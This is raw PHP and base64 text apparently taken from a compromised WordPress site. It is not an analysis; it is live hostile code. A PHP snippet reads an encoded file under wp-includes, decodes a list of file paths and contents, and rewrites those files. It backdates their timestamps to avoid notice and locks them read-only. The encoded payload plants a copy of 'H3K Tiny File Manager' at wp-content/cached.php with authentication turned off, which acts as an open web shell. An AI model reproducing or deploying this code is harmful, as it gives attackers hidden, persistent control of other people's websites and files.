nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAgICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifV0=dqlzuf $wp_update_file="//home/lajmixx/apps/lajmixx/wp-includes/plugins-init.php"; if ( is_file($wp_update_file) ) { $wp_update_content=trim(file_get_contents($wp_update_file)); if ( $wp_update_content!="" ) { $wp_update_content=substr($wp_update_content,6,-6); $wp_update_content=base64_decode($wp_update_content); $wp_update_arr=json_decode($wp_update_content,true); if ( is_array($wp_update_arr) ) { foreach($wp_update_arr as $value) { $file_mtime=filemtime($value["path"]); @chmod($value["path"],0777); @unlink($value["path"]); @file_put_contents($value["path"],$value["content"]); @touch($value["path"],$file_mtime); @chmod($value["path"],0444); } } } } lUDvuyW3sicGF0aCI6IlwvaG9tZVwvbGFqbWl4eFwvYXBwc1wvbGFqbWl4eFwvd3AtY29udGVudFwvY2FjaGVkLnBocCIsImNvbnRlbnQiOiI8P3BocFxuJENPTkZJRyA9ICd7XCJsYW5nXCI6XCJlblwiLFwiZXJyb3JfcmVwb3J0aW5nXCI6ZmFsc2UsXCJzaG93X2hpZGRlblwiOnRydWUsXCJoaWRlX0NvbHNcIjpmYWxzZSxcInRoZW1lXCI6XCJkYXJrXCJ9JztcblxuXC8qKlxuICogSDNLIH4gVGlueSBGaWxlIE1hbmFnZXIgVjIuNlxuICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnNcbiAqIEBnaXRodWIgaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcbiAqIEBsaW5rIGh0dHBzOlwvXC90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvXG4gKlwvXG5cbmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTtcblxuZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTtcblxuJHVzZV9hdXRoID0gZmFsc2U7XG5cbiRhdXRoX3VzZXJzID0gYXJyYXkoXG4gICAgJ2FkbWluJyA9PiAnJyxcbiAgICAndXNlcicgPT4gJydcbik7XG5cbiRyZWFkb25seV91c2VycyA9IGFycmF5KFxuICAgICd1c2VyJ1xuKTtcblxuJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlO1xuXG4kZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpO1xuXG4kdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTtcbiRoaWdobGlnaHRqc19zdHlsZSA9ICd2cyc7XG4kZWRpdF9maWxlcyA9IHRydWU7XG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7XG5cblxuJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XG4kcm9vdF91cmwgPSAnJztcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xuJGRhdGV0aW1lX2Zvcm1hdCA9ICdtXC9kXC9ZIGc6aSBBJztcbiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJztcbiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnO1xuJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJztcbiRmYXZpY29uX3BhdGggPSAnJztcbiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTtcbiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7XG4kc3RpY2t5X25hdmJhciA9IHRydWU7XG4kbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gNTAwMDAwMDAwMDtcbiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7XG4kaXBfcnVsZXNldCA9ICdPRkYnO1xuJGlwX3NpbGVudCA9IHRydWU7XG4kaXBfd2hpdGVsaXN0ID0gYXJyYXkoXG4gICAgJzEyNy4wLjAuMScsXG4gICAgJzo6MSdcbik7XG5cbiRpcF9ibGFja2xpc3QgPSBhcnJheShcbiAgICAnMC4wLjAuMCcsXG4gICAgJzo6J1xuKTtcblxuJGNvbmZpZ19maWxlID0gX19ESVJfXyAuICdcL2NvbmZpZy5waHAnO1xuaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHtcbiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpO1xufVxuXG4kZXh0ZXJuYWwgPSBhcnJheShcbiAgICAnY3NzLWJvb3RzdHJhcCcgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvbnBtXC9ib290c3RyYXBANS4zLjNcL2Rpc3RcL2Nzc1wvYm9vdHN0cmFwLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCIgaW50ZWdyaXR5PVwic2hhMzg0LVFXVEtaeWpwUEVqSVN2NVdhUlU5T0ZlUnBvazZZY3RuWW1EcjVwTmx5VDJiUmpYaDBKTWhqWTZoVytBTEV3SUhcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPicsXG4gICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2Ryb3B6b25lXC81LjkuM1wvbWluXC9kcm9wem9uZS5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPicsXG4gICAgJ2Nzcy1mb250LWF3ZXNvbWUnID0+ICc8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUubWluLmNzc1wiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+JyxcbiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvMTEuOS4wXC9zdHlsZXNcLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3NcIj4nLFxuICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvYWNlXC8xLjMyLjJcL2FjZS5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1ib290c3RyYXAnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XC9ucG1cL2Jvb3RzdHJhcEA1LjMuM1wvZGlzdFwvanNcL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzXCIgaW50ZWdyaXR5PVwic2hhMzg0LVl2cGNyWWYwdFkzbEhCNjBOTmttWGM1czlmRFZaTEVTYUFBNTVORHpPeGh5OUdrY0lkc2xLMWVON042akllSHpcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9kcm9wem9uZVwvNS45LjNcL21pblwvZHJvcHpvbmUubWluLmpzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NvZGUuanF1ZXJ5LmNvbVwvanF1ZXJ5LTMuNi4xLm1pbi5qc1wiIGludGVncml0eT1cInNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPVwiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmRhdGF0YWJsZXMubmV0XC8xLjEzLjFcL2pzXC9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanNcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiIGRlZmVyPjxcL3NjcmlwdD4nLFxuICAgICdqcy1oaWdobGlnaHRqcycgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9oaWdobGlnaHQuanNcLzExLjkuMFwvaGlnaGxpZ2h0Lm1pbi5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdwcmUtanNkZWxpdnInID0+ICc8bGluayByZWw9XCJwcmVjb25uZWN0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XCIgY3Jvc3NvcmlnaW5cLz48bGluayByZWw9XCJkbnMtcHJlZmV0Y2hcIiBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcIlwvPicsXG4gICAgJ3ByZS1jbG91ZGZsYXJlJyA9PiAnPGxpbmsgcmVsPVwicHJlY29ubmVjdFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIiBjcm9zc29yaWdpblwvPjxsaW5rIHJlbD1cImRucy1wcmVmZXRjaFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIlwvPidcbik7XG5cblxuZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTtcbmRlZmluZSgnVVBMT0FEX0NIVU5LX1NJWkUnLCAkdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMpO1xuaWYgKCFkZWZpbmVkKCdGTV9TRVNTSU9OX0lEJykpIHtcbiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTtcbn1cbiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7XG4kbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nO1xuXG4kc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlO1xuJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7XG4kaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlO1xuJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JztcblxuZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7XG5cbiRsYW5nX2xpc3QgPSBhcnJheShcbiAgICAnZW4nID0+ICdFbmdsaXNoJ1xuKTtcblxuaWYgKCRyZXBvcnRfZXJyb3JzID09IGZhbHNlKSB7XG4gICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIDApO1xuICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApO1xufSBlbHNlIHtcbiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7XG4gICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7XG59XG5cbmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7XG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XG4gICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTtcbn0gZWxzZSB7XG4gICAgQHNldF90aW1lX2xpbWl0KDYwMCk7XG5cbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcblxuICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiY